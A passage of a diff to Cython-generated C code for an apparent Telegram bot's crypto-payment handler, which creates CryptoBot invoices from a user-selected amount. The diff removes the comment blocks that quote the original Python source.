(unlikely(!__pyx_t_14)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - /* "handlers/payments/cryprobot_pay.py":67 - * builder.row( - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< - * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', - * ) - */ __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 67, __pyx_L1_error) @@ -4635,13 +4414,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":68 - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< - * ) - * ) - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 68, __pyx_L1_error) @@ -4659,13 +4431,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":66 - * else: - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'crypto_{PAYMENT_OPTIONS[i]["callback_data"]}', - */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; @@ -4697,23 +4462,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C } __pyx_L8:; - /* "handlers/payments/cryprobot_pay.py":52 - * - * builder = InlineKeyboardBuilder() - * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( - */ } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":71 - * ) - * ) - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< - * key_count = await get_key_count(callback_query.message.chat.id) - * if key_count == 0: - */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 71, __pyx_L1_error) @@ -4751,13 +4502,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":72 - * ) - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) - * key_count = await get_key_count(callback_query.message.chat.id) # <<<<<<<<<<<<<< - * if key_count == 0: - * exists = await check_connection_exists(callback_query.message.chat.id) - */ __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 72, __pyx_L1_error) @@ -4813,23 +4557,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_cur_scope->__pyx_v_key_count = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":73 - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) - * key_count = await get_key_count(callback_query.message.chat.id) - * if key_count == 0: # <<<<<<<<<<<<<< - * exists = await check_connection_exists(callback_query.message.chat.id) - * if not exists: - */ __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 73, __pyx_L1_error) if (__pyx_t_2) { - /* "handlers/payments/cryprobot_pay.py":74 - * key_count = await get_key_count(callback_query.message.chat.id) - * if key_count == 0: - * exists = await check_connection_exists(callback_query.message.chat.id) # <<<<<<<<<<<<<< - * if not exists: - * await add_connection( - */ __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 74, __pyx_L1_error) @@ -4885,34 +4615,13 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_cur_scope->__pyx_v_exists = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":75 - * if key_count == 0: - * exists = await check_connection_exists(callback_query.message.chat.id) - * if not exists: # <<<<<<<<<<<<<< - * await add_connection( - * tg_id=callback_query.message.chat.id, - */ __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 75, __pyx_L1_error) __pyx_t_15 = (!__pyx_t_2); if (__pyx_t_15) { - /* "handlers/payments/cryprobot_pay.py":76 - * exists = await check_connection_exists(callback_query.message.chat.id) - * if not exists: - * await add_connection( # <<<<<<<<<<<<<< - * tg_id=callback_query.message.chat.id, - * balance=0.0, - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/cryprobot_pay.py":77 - * if not exists: - * await add_connection( - * tg_id=callback_query.message.chat.id, # <<<<<<<<<<<<<< - * balance=0.0, - * trial=0, - */ __pyx_t_9 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 77, __pyx_L1_error) @@ -4928,22 +4637,8 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 77, __pyx_L1_error) if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 77, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":80 - * balance=0.0, - * trial=0, - * session=session, # <<<<<<<<<<<<<< - * ) - * await callback_query.message.answer( - */ if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 77, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":76 - * exists = await check_connection_exists(callback_query.message.chat.id) - * if not exists: - * await add_connection( # <<<<<<<<<<<<<< - * tg_id=callback_query.message.chat.id, - * balance=0.0, - */ __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -4968,44 +4663,16 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C } } - /* "handlers/payments/cryprobot_pay.py":75 - * if key_count == 0: - * exists = await check_connection_exists(callback_query.message.chat.id) - * if not exists: # <<<<<<<<<<<<<< - * await add_connection( - * tg_id=callback_query.message.chat.id, - */ } - /* "handlers/payments/cryprobot_pay.py":73 - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) - * key_count = await get_key_count(callback_query.message.chat.id) - * if key_count == 0: # <<<<<<<<<<<<<< - * exists = await check_connection_exists(callback_query.message.chat.id) - * if not exists: - */ } - /* "handlers/payments/cryprobot_pay.py":82 - * session=session, - * ) - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * " :", - * reply_markup=builder.as_markup(), - */ __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_answer); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - /* "handlers/payments/cryprobot_pay.py":84 - * await callback_query.message.answer( - * " :", - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * await state.set_state(ReplenishBalanceState.choosing_amount_crypto) - */ __pyx_t_11 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 84, __pyx_L1_error) @@ -5035,13 +4702,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_reply_markup, __pyx_t_1) < 0) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":82 - * session=session, - * ) - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * " :", - * reply_markup=builder.as_markup(), - */ __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__5, __pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; @@ -5066,13 +4726,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C } } - /* "handlers/payments/cryprobot_pay.py":86 - * reply_markup=builder.as_markup(), - * ) - * await state.set_state(ReplenishBalanceState.choosing_amount_crypto) # <<<<<<<<<<<<<< - * - * - */ __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 86, __pyx_L1_error) @@ -5124,13 +4777,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/cryprobot_pay.py":38 - * - * - * @router.callback_query(F.data == "pay_cryptobot") # <<<<<<<<<<<<<< - * async def process_callback_pay_cryptobot( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -5159,13 +4805,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C } static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/cryprobot_pay.py":89 - * - * - * @router.callback_query(F.data.startswith("crypto_amount|")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_4process_amount_selection(PyObject *__pyx_self, @@ -5365,13 +5004,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 89, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":93 - * callback_query: types.CallbackQuery, state: FSMContext - * ): - * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< - * - * if len(data) != 2: - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 93, __pyx_L1_error) @@ -5384,24 +5016,10 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_cur_scope->__pyx_v_data = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":95 - * data = callback_query.data.split("|", 1) - * - * if len(data) != 2: # <<<<<<<<<<<<<< - * await callback_query.message.answer(" .") - * return - */ __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 95, __pyx_L1_error) __pyx_t_4 = (__pyx_t_3 != 2); if (__pyx_t_4) { - /* "handlers/payments/cryprobot_pay.py":96 - * - * if len(data) != 2: - * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< - * return - * - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 96, __pyx_L1_error) @@ -5449,46 +5067,18 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } } - /* "handlers/payments/cryprobot_pay.py":97 - * if len(data) != 2: - * await callback_query.message.answer(" .") - * return # <<<<<<<<<<<<<< - * - * amount_str = data[1] - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L0; - /* "handlers/payments/cryprobot_pay.py":95 - * data = callback_query.data.split("|", 1) - * - * if len(data) != 2: # <<<<<<<<<<<<<< - * await callback_query.message.answer(" .") - * return - */ } - /* "handlers/payments/cryprobot_pay.py":99 - * return - * - * amount_str = data[1] # <<<<<<<<<<<<<< - * try: - * amount = int(amount_str) - */ __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":100 - * - * amount_str = data[1] - * try: # <<<<<<<<<<<<<< - * amount = int(amount_str) - * except ValueError: - */ { __Pyx_ExceptionSave(&__pyx_t_7, &__pyx_t_8, &__pyx_t_9); __Pyx_XGOTREF(__pyx_t_7); @@ -5496,26 +5086,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __Pyx_XGOTREF(__pyx_t_9); /*try:*/ { - /* "handlers/payments/cryprobot_pay.py":101 - * amount_str = data[1] - * try: - * amount = int(amount_str) # <<<<<<<<<<<<<< - * except ValueError: - * await callback_query.message.answer(" .") - */ __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 101, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":100 - * - * amount_str = data[1] - * try: # <<<<<<<<<<<<<< - * amount = int(amount_str) - * except ValueError: - */ } __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; @@ -5526,13 +5102,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/cryprobot_pay.py":102 - * try: - * amount = int(amount_str) - * except ValueError: # <<<<<<<<<<<<<< - * await callback_query.message.answer(" .") - * return - */ __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); if (__pyx_t_10) { __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -5541,13 +5110,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __Pyx_XGOTREF(__pyx_t_5); __Pyx_XGOTREF(__pyx_t_2); - /* "handlers/payments/cryprobot_pay.py":103 - * amount = int(amount_str) - * except ValueError: - * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< - * return - * - */ __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 103, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_answer); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 103, __pyx_L8_except_error) @@ -5625,13 +5187,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } } - /* "handlers/payments/cryprobot_pay.py":104 - * except ValueError: - * await callback_query.message.answer(" .") - * return # <<<<<<<<<<<<<< - * - * await state.update_data(amount=amount) - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -5641,13 +5196,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } goto __pyx_L8_except_error; - /* "handlers/payments/cryprobot_pay.py":100 - * - * amount_str = data[1] - * try: # <<<<<<<<<<<<<< - * amount = int(amount_str) - * except ValueError: - */ __pyx_L8_except_error:; __Pyx_XGIVEREF(__pyx_t_7); __Pyx_XGIVEREF(__pyx_t_8); @@ -5663,13 +5211,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_L11_try_end:; } - /* "handlers/payments/cryprobot_pay.py":106 - * return - * - * await state.update_data(amount=amount) # <<<<<<<<<<<<<< - * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_crypto) - * - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 106, __pyx_L1_error) @@ -5699,13 +5240,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } } - /* "handlers/payments/cryprobot_pay.py":107 - * - * await state.update_data(amount=amount) - * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_crypto) # <<<<<<<<<<<<<< - * - * try: - */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 107, __pyx_L1_error) @@ -5756,13 +5290,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } } - /* "handlers/payments/cryprobot_pay.py":109 - * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_crypto) - * - * try: # <<<<<<<<<<<<<< - * usdt_amount = -(-amount // RUB_TO_USDT) - * invoice = await crypto.create_invoice( - */ { __Pyx_ExceptionSave(&__pyx_t_9, &__pyx_t_8, &__pyx_t_7); __Pyx_XGOTREF(__pyx_t_9); @@ -5770,13 +5297,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __Pyx_XGOTREF(__pyx_t_7); /*try:*/ { - /* "handlers/payments/cryprobot_pay.py":110 - * - * try: - * usdt_amount = -(-amount // RUB_TO_USDT) # <<<<<<<<<<<<<< - * invoice = await crypto.create_invoice( - * fiat="USD", - */ __pyx_t_1 = PyNumber_Negative(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 110, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 110, __pyx_L17_error) @@ -5792,38 +5312,17 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_cur_scope->__pyx_v_usdt_amount = __pyx_t_5; __pyx_t_5 = 0; - /* "handlers/payments/cryprobot_pay.py":111 - * try: - * usdt_amount = -(-amount // RUB_TO_USDT) - * invoice = await crypto.create_invoice( # <<<<<<<<<<<<<< - * fiat="USD", - * currency_type='fiat', - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_crypto_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 111, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_create_invoice); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 111, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/cryprobot_pay.py":112 - * usdt_amount = -(-amount // RUB_TO_USDT) - * invoice = await crypto.create_invoice( - * fiat="USD", # <<<<<<<<<<<<<< - * currency_type='fiat', - * amount=str(int(usdt_amount)), - */ __pyx_t_5 = __Pyx_PyDict_NewPresized(5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 112, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_fiat, __pyx_n_u_USD) < 0) __PYX_ERR(0, 112, __pyx_L17_error) if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_currency_type, __pyx_n_u_fiat) < 0) __PYX_ERR(0, 112, __pyx_L17_error) - /* "handlers/payments/cryprobot_pay.py":114 - * fiat="USD", - * currency_type='fiat', - * amount=str(int(usdt_amount)), # <<<<<<<<<<<<<< - * description=f" {amount} ", - * payload=f"{callback_query.message.chat.id}:{int(amount)}", - */ __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_usdt_amount); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 114, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_Unicode(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 114, __pyx_L17_error) @@ -5832,13 +5331,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_amount, __pyx_t_2) < 0) __PYX_ERR(0, 112, __pyx_L17_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":115 - * currency_type='fiat', - * amount=str(int(usdt_amount)), - * description=f" {amount} ", # <<<<<<<<<<<<<< - * payload=f"{callback_query.message.chat.id}:{int(amount)}", - * ) - */ __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 115, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = 0; @@ -5866,13 +5358,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_description, __pyx_t_1) < 0) __PYX_ERR(0, 112, __pyx_L17_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/cryprobot_pay.py":116 - * amount=str(int(usdt_amount)), - * description=f" {amount} ", - * payload=f"{callback_query.message.chat.id}:{int(amount)}", # <<<<<<<<<<<<<< - * ) - * - */ __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 116, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = 0; @@ -5913,13 +5398,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_payload, __pyx_t_2) < 0) __PYX_ERR(0, 112, __pyx_L17_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":111 - * try: - * usdt_amount = -(-amount // RUB_TO_USDT) - * invoice = await crypto.create_invoice( # <<<<<<<<<<<<<< - * fiat="USD", - * currency_type='fiat', - */ __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 111, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; @@ -5961,23 +5439,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_cur_scope->__pyx_v_invoice = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":119 - * ) - * - * if hasattr(invoice, "bot_invoice_url"): # <<<<<<<<<<<<<< - * builder = InlineKeyboardBuilder() - * builder.row( - */ __pyx_t_4 = __Pyx_HasAttr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_u_bot_invoice_url); if (unlikely(__pyx_t_4 == ((int)-1))) __PYX_ERR(0, 119, __pyx_L17_error) if (__pyx_t_4) { - /* "handlers/payments/cryprobot_pay.py":120 - * - * if hasattr(invoice, "bot_invoice_url"): - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * builder.row( - * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) - */ __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 120, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_11 = NULL; @@ -6006,23 +5470,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_cur_scope->__pyx_v_builder = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":121 - * if hasattr(invoice, "bot_invoice_url"): - * builder = InlineKeyboardBuilder() - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) - * ) - */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 121, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); - /* "handlers/payments/cryprobot_pay.py":122 - * builder = InlineKeyboardBuilder() - * builder.row( - * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) # 